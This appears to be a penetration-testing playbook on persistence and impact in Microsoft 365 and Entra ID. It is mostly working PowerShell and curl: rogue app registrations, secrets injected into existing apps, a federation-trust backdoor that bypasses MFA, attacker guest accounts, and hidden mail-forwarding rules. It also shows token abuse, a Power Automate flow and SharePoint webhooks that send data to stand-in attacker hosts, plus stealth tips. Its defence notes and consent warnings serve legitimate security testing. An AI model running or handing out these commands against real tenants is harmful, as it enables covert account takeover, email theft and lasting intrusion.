☑ Phase Progress

0 / 11 completed
Critical Warning: Persistence mechanisms are the most impactful actions in a pentest. Always confirm with the client before deploying any backdoor. Document everything meticulously and ensure full cleanup after the engagement. Never leave persistence mechanisms active post-engagement.

🔑 Identity-Based Persistence

1 Rogue Application Registration

Create a new application registration with high-privilege API permissions and admin-consent it. The app secret provides persistent access that survives user password changes, MFA enforcement, and session revocation.

Microsoft.Graph GraphRunner curl

Step 1a: Create the application

PowerShell
# Connect with an account that has Application.ReadWrite.All or Global Admin
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Create a new application with a legitimate-sounding name
$appParams = @{
    DisplayName = "Microsoft Security Compliance Audit"
    SignInAudience = "AzureADMyOrg"
    RequiredResourceAccess = @(
        @{
            ResourceAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph
            ResourceAccess = @(
                @{ Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; Type = "Scope" }   # User.Read
                @{ Id = "810c84a8-4a9e-49e6-bf7d-12d183f40d01"; Type = "Role" }    # Mail.Read (Application)
                @{ Id = "01d4f41f-ba44-4b71-8910-08e2059a2d3d"; Type = "Role" }    # Files.Read.All (Application)
                @{ Id = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"; Type = "Role" }    # RoleManagement.ReadWrite.Directory
                @{ Id = "19dbc75e-c2e2-444c-a770-ec69d8559fc7"; Type = "Role" }    # Directory.ReadWrite.All
            )
        }
    )
}

$app = New-MgApplication @appParams
Write-Host "App ID: $($app.AppId)"
Write-Host "Object ID: $($app.Id)"

Step 1b: Add a long-lived client secret

PowerShell
# Add a secret with 2-year expiry (max allowed)
$secretParams = @{
    PasswordCredential = @{
        DisplayName = "Auto-generated key"
        EndDateTime = (Get-Date).AddYears(2)
    }
}

$secret = Add-MgApplicationPassword -ApplicationId $app.Id @secretParams
Write-Host "Client Secret: $($secret.SecretText)"
# SAVE THIS - it's only displayed once

Step 1c: Grant admin consent (requires Global Admin or Privileged Role Admin)

PowerShell
# Construct the admin consent URL
$tenantId = (Get-MgOrganization).Id
$consentUrl = "https://login.microsoftonline.com/$tenantId/adminconsent?client_id=$($app.AppId)"
Write-Host "Admin consent URL: $consentUrl"

# Or grant consent via Graph API if you have the permissions
$sp = Get-MgServicePrincipal -Filter "AppId eq '$($app.AppId)'"

# Grant each application permission
$graphSP = Get-MgServicePrincipal -Filter "AppId eq '00000003-0000-0000-c000-000000000000'"

New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id `
    -PrincipalId $sp.Id `
    -ResourceId $graphSP.Id `
    -AppRoleId "810c84a8-4a9e-49e6-bf7d-12d183f40d01"  # Mail.Read

Step 1d: Authenticate as the app (persistent access)

Bash
# This works regardless of user MFA, password changes, or session revocation
curl -X POST "https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token" \
  -d "client_id={app-id}" \
  -d "client_secret={secret}" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials"

# Use the returned access_token to call Graph API
curl -H "Authorization: Bearer {access_token}" \
  "https://graph.microsoft.com/v1.0/users/{target}/messages?\$top=50"
🛡
Defence: Require admin consent workflow for all app registrations (Entra ID > Enterprise Applications > Consent and permissions). Disable user ability to register applications. Monitor AuditLogs | where ActivityDisplayName == "Add application" in Sentinel. Regularly review app permissions with access reviews.
2 Service Principal Credential Injection

Instead of creating a new app (which is more visible), inject a new secret or certificate into an existing legitimate application. This is far stealthier because the app already exists, is trusted, and may already have the permissions you need.

Microsoft.Graph ROADtools

Find high-value targets - apps with broad permissions:

PowerShell
# Find apps with Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory, etc.
$apps = Get-MgApplication -All

foreach ($a in $apps) {
    $perms = $a.RequiredResourceAccess.ResourceAccess | Where-Object { $_.Type -eq "Role" }
    if ($perms.Id -contains "19dbc75e-c2e2-444c-a770-ec69d8559fc7") { # Directory.ReadWrite.All
        Write-Host "HIGH VALUE: $($a.DisplayName) - AppId: $($a.AppId)"
    }
}

# Also check who owns these apps (you may be an owner)
Get-MgApplicationOwner -ApplicationId {app-object-id}

Inject a new secret into the target app:

PowerShell
# Add a credential to an existing application
$secret = Add-MgApplicationPassword -ApplicationId {target-app-object-id} -PasswordCredential @{
    DisplayName = "Backup credential - DO NOT DELETE"
    EndDateTime = (Get-Date).AddYears(2)
}

Write-Host "Injected secret: $($secret.SecretText)"
# Now authenticate as this service principal using client_credentials flow

Certificate-based persistence (even stealthier):

PowerShell
# Generate a self-signed certificate
$cert = New-SelfSignedCertificate -Subject "CN=BackupAuth" `
    -CertStoreLocation "Cert:\CurrentUser\My" `
    -KeyExportPolicy Exportable `
    -NotAfter (Get-Date).AddYears(2)

# Export the public key
$certBase64 = [Convert]::ToBase64String($cert.RawData)

# Add cert to the application
$keyCredential = @{
    Type = "AsymmetricX509Cert"
    Usage = "Verify"
    Key = [Convert]::FromBase64String($certBase64)
}

Update-MgApplication -ApplicationId {app-object-id} -KeyCredentials @($keyCredential)

# Auth with certificate - no secret exposed in logs
Connect-MgGraph -ClientId {app-id} -TenantId {tenant} `
    -CertificateThumbprint $cert.Thumbprint
OPSEC: Certificate-based auth doesn't log the certificate value in audit logs, making it harder to detect than secret-based auth. The credential addition event itself is still logged though.
🛡
Defence: Alert on AuditLogs | where ActivityDisplayName in ("Add service principal credentials", "Update application – Certificates and secrets management"). Restrict the Application Administrator and Cloud Application Administrator roles using PIM with approval. Conduct regular credential inventory audits on all app registrations.
3 Federation Trust Backdoor

The most devastating persistence mechanism in Entra ID. By configuring a federated domain to trust an attacker-controlled Identity Provider (IDP), the attacker can authenticate as any user in that domain without knowing their password. This mimics the Golden SAML attack used in the SolarWinds breach.

AADInternals
🚨
Extreme Caution: This technique modifies domain authentication settings and can break legitimate user sign-in if done incorrectly. Only perform with explicit client approval and in a controlled manner. Requires Global Admin privileges.

Option A: Convert a domain to federated with attacker-controlled IDP

PowerShell
# Import AADInternals
Import-Module AADInternals

# Get access token with Global Admin
$at = Get-AADIntAccessTokenForAADGraph

# Convert a domain to federated (DESTRUCTIVE - breaks normal auth for this domain)
ConvertTo-AADIntBackdoor -DomainName "target-domain.com" -AccessToken $at

# This creates a federation trust with AADInternals' built-in IDP
# Now you can generate SAML tokens for ANY user in this domain

Option B: Add federation to a secondary/unused domain (stealthier)

PowerShell
# If the tenant has multiple domains, federate an unused one
# First, list domains
Get-AADIntDomains -AccessToken $at

# Set federation on a less-monitored domain
Set-AADIntDomainAuthentication -DomainName "legacy-domain.com" `
    -Authentication Federated `
    -IssuerUri "http://attacker-idp.com/adfs/services/trust" `
    -LogOnUri "https://attacker-idp.com/adfs/ls" `
    -SigningCertificate {base64-cert} `
    -AccessToken $at

Generate tokens to sign in as any user:

PowerShell
# After backdoor is set, create a SAML token for any user
Open-AADIntOffice365Portal -ImmutableId {user-immutable-id} `
    -Issuer "http://attacker-idp.com/adfs/services/trust" `
    -UseBuiltInCertificate `
    -ByPassMFA $true

# Or get an access token directly
$token = Get-AADIntAccessTokenForAADGraph -SAMLToken (
    New-AADIntSAMLToken -ImmutableId {user-immutable-id} `
        -Issuer "http://attacker-idp.com/adfs/services/trust" `
        -UseBuiltInCertificate
)

# This bypasses MFA entirely - the federation trust IS the authentication
🛡
Defence: This is critical to monitor. Set up alerts for: AuditLogs | where ActivityDisplayName has "Set domain authentication" or ActivityDisplayName has "Set federation settings on domain". Review federation trusts regularly. Limit Global Admin count and protect with PIM + hardware MFA. Consider Security Defaults or CA policies that block legacy federation flows.
4 Guest Account Persistence

Invite an attacker-controlled external account as a guest user and assign it persistent permissions. Guest accounts survive password resets of internal users and are often overlooked in remediation.

Microsoft.Graph Graph API
PowerShell
# Invite an external guest user
$invitation = New-MgInvitation -InvitedUserEmailAddress "attacker@external-domain.com" `
    -InviteRedirectUrl "https://myapps.microsoft.com" `
    -SendInvitationMessage:$false  # Don't send email - less visible

# Get the created user object
$guestUser = Get-MgUser -UserId $invitation.InvitedUser.Id

# Add to a security group with access to sensitive resources
New-MgGroupMember -GroupId {target-group-id} -DirectoryObjectId $guestUser.Id

# Or assign a directory role for admin access
New-MgDirectoryRoleMemberByRef -DirectoryRoleId {role-id} -BodyParameter @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($guestUser.Id)"
}

# The guest can now redeem the invitation and access the tenant persistently
Why this works: Guest accounts authenticate against their home tenant, so the target org cannot reset their password. Guest remediation requires explicit deletion of the guest object and removal from all groups and roles.
🛡
Defence: Restrict who can invite guests (Entra ID > External Identities > External collaboration settings). Require admin approval for guest invitations. Set up regular guest access reviews. Monitor AuditLogs | where ActivityDisplayName == "Invite external user". Block guest accounts from admin roles via CA policies.

⚙ Service-Level Persistence

5 Inbox Rules & Mail Flow Rules

Create hidden inbox rules that silently forward copies of all incoming email to an external address. Advanced techniques can make rules invisible to Outlook/OWA using MAPI property manipulation.

ExchangeOnline Graph API

Standard inbox forwarding rule:

PowerShell
# Connect to Exchange Online
Connect-ExchangeOnline

# Create an inbox rule that forwards all email to external address
New-InboxRule -Mailbox "target@company.com" `
    -Name "Security Compliance Backup" `
    -ForwardTo "attacker@external.com" `
    -MarkAsRead $true `
    -StopProcessingRules $false

# Alternative: Forward via SMTP (harder to detect in some configurations)
Set-Mailbox -Identity "target@company.com" `
    -ForwardingSMTPAddress "attacker@external.com" `
    -DeliverToMailboxAndForward $true

Using Graph API to create a hidden rule:

Bash
# Create a mail rule via Graph API
curl -X POST "https://graph.microsoft.com/v1.0/users/{user-id}/mailFolders/inbox/messageRules" \
  -H "Authorization: Bearer {token}" \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Archive Rule",
    "sequence": 1,
    "isEnabled": true,
    "conditions": {},
    "actions": {
      "forwardTo": [
        {
          "emailAddress": {
            "address": "attacker@external.com"
          }
        }
      ]
    }
  }'

Org-wide transport rule (requires Exchange Admin):

PowerShell
# Create a transport rule that BCCs all email to an external address
New-TransportRule -Name "Compliance Journal" `
    -BlindCopyTo "attacker@external.com" `
    -SentToScope "InOrganization" `
    -Priority 0

# This captures ALL internal email in the organization
🛡
Defence: Block auto-forwarding to external domains via transport rules. Monitor inbox rule creation: OfficeActivity | where Operation in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox"). Regular audit of all inbox rules across the org using Get-InboxRule. Alert on ForwardingSMTPAddress changes. Block external forwarding at the org level in Exchange admin.
6 Long-Lived Refresh Token Persistence

Maintain persistent access through long-lived refresh tokens. Default refresh token lifetime in Entra ID is 90 days, and tokens can be continuously refreshed, providing indefinite access as long as the token family isn't revoked.

TokenTactics ROADtools curl
Bash
# Refresh an access token using a stolen refresh token
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "grant_type=refresh_token" \
  -d "refresh_token={stolen_refresh_token}" \
  -d "scope=https://graph.microsoft.com/.default offline_access"

# Response includes a NEW refresh_token - save it for next time
# This cycle can continue indefinitely as long as:
#   1. Token isn't explicitly revoked
#   2. User account isn't disabled
#   3. Continuous Access Evaluation (CAE) doesn't terminate it
PowerShell
# Using TokenTactics to maintain token lifecycle
Import-Module TokenTactics

# Refresh to different resource scopes as needed
$tokens = Invoke-RefreshToMSGraphToken -RefreshToken {refresh_token} `
    -Domain "target.com" `
    -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"

# Store the new refresh token
$tokens.refresh_token | Out-File -FilePath "refresh_token_latest.txt"

# Switch to Outlook access
$outlookTokens = Invoke-RefreshToOutlookToken -RefreshToken $tokens.refresh_token

# Switch to SharePoint access
$spTokens = Invoke-RefreshToSharePointToken -RefreshToken $tokens.refresh_token `
    -Domain "target.com"
FOCI (Family of Client IDs): Microsoft first-party apps share a family of client IDs. A refresh token obtained for one FOCI app (e.g., Office) can be exchanged for tokens to other FOCI apps (e.g., Teams, Outlook, OneDrive) without re-authentication. This significantly expands lateral movement from a single stolen token.
🛡
Defence: Enable Continuous Access Evaluation (CAE) to reduce token lifetime and enable near-real-time revocation. Configure token lifetime policies via Conditional Access to reduce refresh token max inactive time. Use Revoke-MgUserSignInSession to revoke all refresh tokens for a compromised user. Monitor for token usage from anomalous locations/IPs in sign-in logs.
7 Power Automate Persistent Flows

Create Power Automate flows that run on a schedule or trigger, performing actions with the creator's permissions. Flows run silently in the background and can exfiltrate data, maintain access, or perform actions continuously.

Power Automate REST API

Example: Daily email exfiltration flow

JSON
// Power Automate flow definition (simplified)
{
  "trigger": {
    "type": "Recurrence",
    "recurrence": {
      "frequency": "Day",
      "interval": 1
    }
  },
  "actions": {
    "Get_emails": {
      "type": "OpenApiConnection",
      "inputs": {
        "host": { "api": "office365" },
        "method": "get",
        "path": "/v2/Mail",
        "queries": { "fetchOnlyUnread": true }
      }
    },
    "Send_to_webhook": {
      "type": "Http",
      "inputs": {
        "method": "POST",
        "uri": "https://attacker-webhook.example.com/collect",
        "body": "@body('Get_emails')"
      }
    }
  }
}

Enumerate existing flows via API:

Bash
# List all flows in the default environment
curl -H "Authorization: Bearer {token}" \
  "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{env-id}/flows?api-version=2016-11-01"

# Get details of a specific flow including its connections
curl -H "Authorization: Bearer {token}" \
  "https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{env-id}/flows/{flow-id}?api-version=2016-11-01"
🛡
Defence: Restrict Power Automate connector usage via DLP policies in the Power Platform Admin Center. Block the HTTP connector and custom connectors in production environments. Audit flow creation and monitor for flows with external HTTP calls. Restrict who can create flows with the Power Automate admin role.
8 SharePoint Webhooks & Event Receivers

Set up webhooks on SharePoint lists and document libraries to receive real-time notifications when new documents are uploaded or modified. This provides ongoing intelligence without actively polling the environment.

Graph API PnP PowerShell
Bash
# Create a webhook subscription on a SharePoint list/library
curl -X POST "https://graph.microsoft.com/v1.0/sites/{site-id}/lists/{list-id}/subscriptions" \
  -H "Authorization: Bearer {token}" \
  -H "Content-Type: application/json" \
  -d '{
    "changeType": "created,updated",
    "notificationUrl": "https://attacker-server.com/webhook/receive",
    "expirationDateTime": "2025-12-31T00:00:00Z",
    "resource": "sites/{site-id}/lists/{list-id}"
  }'

# The webhook will POST notifications to attacker server when files change
# Expiration is max 6 months - need to renew periodically
PowerShell
# Using PnP PowerShell
Connect-PnPOnline -Url "https://company.sharepoint.com/sites/sensitive" -AccessToken {token}

# Add webhook to document library
Add-PnPWebhookSubscription -List "Documents" `
    -NotificationUrl "https://attacker-server.com/webhook" `
    -ExpirationDate (Get-Date).AddMonths(6)

# List existing webhooks to check for detection
Get-PnPWebhookSubscriptions -List "Documents"
🛡
Defence: Audit webhook subscriptions across SharePoint sites regularly. Monitor Graph API subscription creation in unified audit logs. Restrict which apps can create subscriptions via app governance policies. Review notification URLs for external/suspicious endpoints.

💥 Demonstrating Business Impact

Important: The impact phase is about documenting potential, not executing destructive actions. Never actually exfiltrate real sensitive data, send fraudulent emails, or destroy data during a pentest. Demonstrate the capability and document the blast radius.
9 Business Email Compromise (BEC) Simulation

Demonstrate how an attacker with mailbox access could intercept and manipulate financial transactions through Business Email Compromise. This is consistently the highest-impact financial attack against organisations.

BEC attack chain to document:

Stage Action Evidence to Collect
1. Monitor Set inbox rule to forward financial emails (invoices, wire transfers, payments) to attacker Screenshot of rule creation, sample forwarded email subjects
2. Identify Search mailbox for active payment threads, vendor relationships, and approval chains KQL search results showing financial correspondence exists
3. Intercept Demonstrate ability to read and reply to existing email threads as the compromised user Screenshot showing ability to compose reply in thread
4. Redirect Document that banking details could be modified in a forwarded invoice (DO NOT actually send) Draft email showing modified content - never sent
PowerShell
# Search for financial email threads (Graph API)
$searchParams = @{
    Requests = @(
        @{
            EntityTypes = @("message")
            Query = @{
                QueryString = "(invoice OR payment OR wire transfer OR bank details) AND hasAttachment:true"
            }
            From = 0
            Size = 25
        }
    )
}

# This demonstrates the attacker could find financial transactions
Invoke-MgBetaSearchQuery -BodyParameter $searchParams

# Document: X financial emails found, Y active payment threads identified
# Document: Ability to reply-as CFO/Finance team member confirmed
# Document: No DLP policies blocked access to this content
💰
Impact Quantification: Average BEC loss is $125,000+ per incident (FBI IC3). Document the specific financial transactions you could have intercepted and their values. This makes the risk concrete for executive stakeholders.
10 Ransomware & Destruction Blast Radius Assessment

Document the blast radius of a potential ransomware or destructive attack. Quantify exactly how much data could be encrypted, deleted, or exfiltrated based on the access achieved. Never actually perform destructive actions.

PowerShell
# Quantify SharePoint/OneDrive blast radius
$sites = Get-MgSite -All
Write-Host "Total SharePoint sites accessible: $($sites.Count)"

foreach ($site in $sites) {
    $drives = Get-MgSiteDrive -SiteId $site.Id
    foreach ($drive in $drives) {
        $items = Get-MgDriveItemChild -DriveId $drive.Id -DriveItemId "root" -All
        $totalSize = ($items | Measure-Object -Property Size -Sum).Sum
        Write-Host "Site: $($site.DisplayName) - Files: $($items.Count) - Size: $([math]::Round($totalSize/1GB, 2)) GB"
    }
}

# Quantify mailbox blast radius
$mailboxes = Get-MgUser -All -Property DisplayName,Mail,AssignedLicenses |
    Where-Object { $_.AssignedLicenses }
Write-Host "Licensed mailboxes accessible: $($mailboxes.Count)"

# Document: With Global Admin, attacker could access:
#   - X SharePoint sites containing Y TB of data
#   - Z user mailboxes
#   - N OneDrive accounts
#   - All Teams channel files

Blast radius report template:

Resource Type Count Total Size Access Level Backup Available
SharePoint Sites [enumerate] [calculate] Read/Write/Delete [check retention policies]
User Mailboxes [enumerate] [calculate] Full Access [check litigation hold]
OneDrive Accounts [enumerate] [calculate] Read/Write/Delete [check retention]
Teams Data [enumerate] [calculate] Read/Modify [check retention]
🛡
Defence: Enable versioning and retention policies on all SharePoint sites and OneDrive. Configure litigation hold for critical mailboxes. Implement Microsoft 365 backup solutions (Veeam, AvePoint, or Microsoft 365 Backup). Enable Recycle Bin retention (93-day default). Test restore procedures regularly.
11 Reporting & Evidence Documentation

Structure your final penetration test report for maximum impact. Every finding should be documented with evidence, risk rating, and actionable remediation guidance.

Finding documentation template:

Markdown
## Finding: [TITLE]

**Severity:** Critical / High / Medium / Low
**CVSS Score:** X.X
**MITRE ATT&CK:** TXXXX - Technique Name
**Phase:** [Which phase this was discovered in]

### Description
[What was found and why it matters]

### Proof of Concept
[Step-by-step reproduction with screenshots]
1. Authenticated using [method]
2. Executed [command/action]
3. Achieved [result]

### Evidence
- Screenshot: [filename]
- Command output: [filename]
- Timestamp: [UTC time]

### Business Impact
[Concrete description of what an attacker could achieve]
- Data at risk: [X records, Y GB of files]
- Financial impact: [estimated based on BEC potential, data value]
- Compliance: [GDPR, SOC2, HIPAA implications]

### Remediation
**Immediate (0-7 days):**
- [Action item 1]
- [Action item 2]

**Short-term (30 days):**
- [Action item 1]
- [Action item 2]

**Long-term (90 days):**
- [Action item 1]
- [Action item 2]

### References
- [Microsoft documentation link]
- [MITRE ATT&CK link]

Report structure:

  1. Executive Summary — Business-level overview of risk, 1-2 pages max, suitable for C-suite
  2. Scope & Methodology — What was tested, rules of engagement, tools used, timeframe
  3. Attack Narrative — Chronological story of the attack path from recon to impact
  4. Findings (by severity) — Each finding using the template above, grouped Critical → Low
  5. Attack Path Diagram — Visual representation of how each phase connected
  6. Remediation Roadmap — Prioritised remediation plan with effort estimates
  7. Appendices — Full command logs, raw outputs, tool configurations

Post-engagement cleanup checklist:

Best Practice: Provide the client with a cleanup verification script that checks for any remaining artifacts from the test. Schedule a follow-up call to walk through findings and assist with remediation questions. Offer a retest to validate that critical findings have been addressed.